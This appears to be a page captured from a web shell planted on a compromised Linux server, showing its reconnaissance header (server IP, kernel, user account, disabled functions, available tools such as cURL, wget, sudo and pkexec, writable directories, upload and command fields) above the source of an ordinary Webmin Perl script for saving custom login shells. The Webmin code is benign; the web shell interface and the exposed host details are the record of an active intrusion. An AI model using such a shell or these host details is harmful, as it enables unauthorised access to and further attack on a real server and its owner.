Private
Server IP : 195.201.23.43  /  Your IP : 3.12.107.192
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/save_newshells.cgi
#!/usr/bin/perl
# Save custom shells

require './virtual-server-lib.pl';
&ReadParse();
&error_setup($text{'newshells_err'});
&can_edit_templates() || &error($text{'newshells_ecannot'});

if ($in{'defs'}) {
	# Reverting to defaults
	&save_available_shells(undef);
	}
else {
	# Validate and save shells. Must be at least one for mailboxes and
	# admins, and one default for each
	for($i=0; defined($in{"shell_$i"}); $i++) {
		next if (!$in{"shell_$i"});
		-r $in{"shell_$i"} || &error(&text('newshells_eshell', $i+1));
		$in{"desc_$i"} =~ /\S/ || &error(&text('newshells_edesc',$i+1));
		local %shell = ( 'shell' => $in{"shell_$i"},
				 'desc' => $in{"desc_$i"},
				 'owner' => $in{"owner_$i"},
				 'mailbox' => $in{"mailbox_$i"},
				 'reseller' => $in{"reseller_$i"},
				 'default' => $in{"default_$i"},
				 'id' => $in{"id_$i"},
				 'avail' => $in{"avail_$i"} );
		$shell{'owner'} || $shell{'mailbox'} || $shell{'reseller'} ||
			&error(&text('newshells_eowner', $i+1));
		push(@shells, \%shell);
		}
	@oshells = grep { $_->{'owner'} && $_->{'avail'} } @shells;
	@oshells || &error($text{'newshells_eowners'});
	@mshells = grep { $_->{'mailbox'} && $_->{'avail'} } @shells;
	@mshells || &error($text{'newshells_emailboxes'});
	@rshells = grep { $_->{'reseller'} && $_->{'avail'} } @shells;
	@rshells || &error($text{'newshells_eresellers'});
	@doshells = grep { $_->{'default'} } @oshells;
	@doshells == 1 || &error($text{'newshells_eownerdef'});
	@dmshells = grep { $_->{'default'} } @mshells;
	@dmshells == 1 || &error($text{'newshells_emailboxdef'});
	@drshells = grep { $_->{'default'} } @rshells;
	@drshells == 1 || &error($text{'newshells_eresellerdef'});

	# Save them
	&save_available_shells(\@shells);
	}

&run_post_actions_silently();
&webmin_log("shells", undef, $in{'defs'});
&redirect("");

Private